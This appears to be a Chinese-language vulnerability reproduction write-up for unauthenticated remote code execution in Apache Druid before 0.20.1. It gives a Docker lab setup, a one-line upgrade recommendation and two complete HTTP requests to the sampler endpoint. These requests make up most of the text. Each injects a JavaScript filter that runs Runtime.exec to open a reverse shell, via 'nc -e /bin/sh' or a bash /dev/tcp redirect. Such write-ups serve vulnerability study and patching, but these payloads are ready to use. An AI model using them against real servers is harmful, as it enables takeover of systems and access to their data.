漏洞概要

　　Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。

　　Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。
 

　　影响范围

　　影响版本： Apache Druid < 0.20.1

　　安全版本： Apache Druid 0.20.1
 

　　环境搭建

　　github.com/apache/druid/

　　druid.apache.org/docs/latest/tutorials/index

　　下载0.19版本

　　github.com/apache/druid/releases/tag/druid-0.19.0

　　解压

　　cd druid-druid-0.19.0-rc1\distribution\docker

　　docker-compose up -d

　　打开 192.168.123.10:8888

　　漏洞复现

　　Poc1：通用

　　POST /druid/indexer/v1/sampler HTTP/1.1

　　Host: 192.168.123.10:8888

　　Accept: application/json, text/plain, */*

　　DNT: 1

　　User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

　　Referer: 192.168.123.10:8888/unified-console.html

　　Accept-Encoding: gzip, deflate

　　Accept-Language: zh-CN,zh;q=0.9

　　Content-Type: application/json

　　Connection: close

　　Content-Length: 1007

　　{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('nc 192.168.123.10 5555 -e /bin/sh')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

　　注意：因为是docker环境没有bash，这里直接采用nc -e反弹

　　Poc2：通用

　　POST /druid/indexer/v1/sampler?for=example-manifest HTTP/1.1

　　Host: 0.0.0.0:8888

　　Content-Length: 1005

　　Accept: application/json, text/plain, */*

　　User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

　　DNT: 1

　　Content-Type: application/json;charset=UTF-8

　　Accept-Encoding: gzip, deflate

　　Accept-Language: zh-CN,zh;q=0.9

　　Connection: close

　　{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",

　　"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/0.0.0.0/5555 0>&1')}",

　　"dimension": "added",

　　"": {

　　"enabled": "true"

　　}

　　}

　　}

　　},"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}

　　修复建议

　　升级至安全版本及其以上。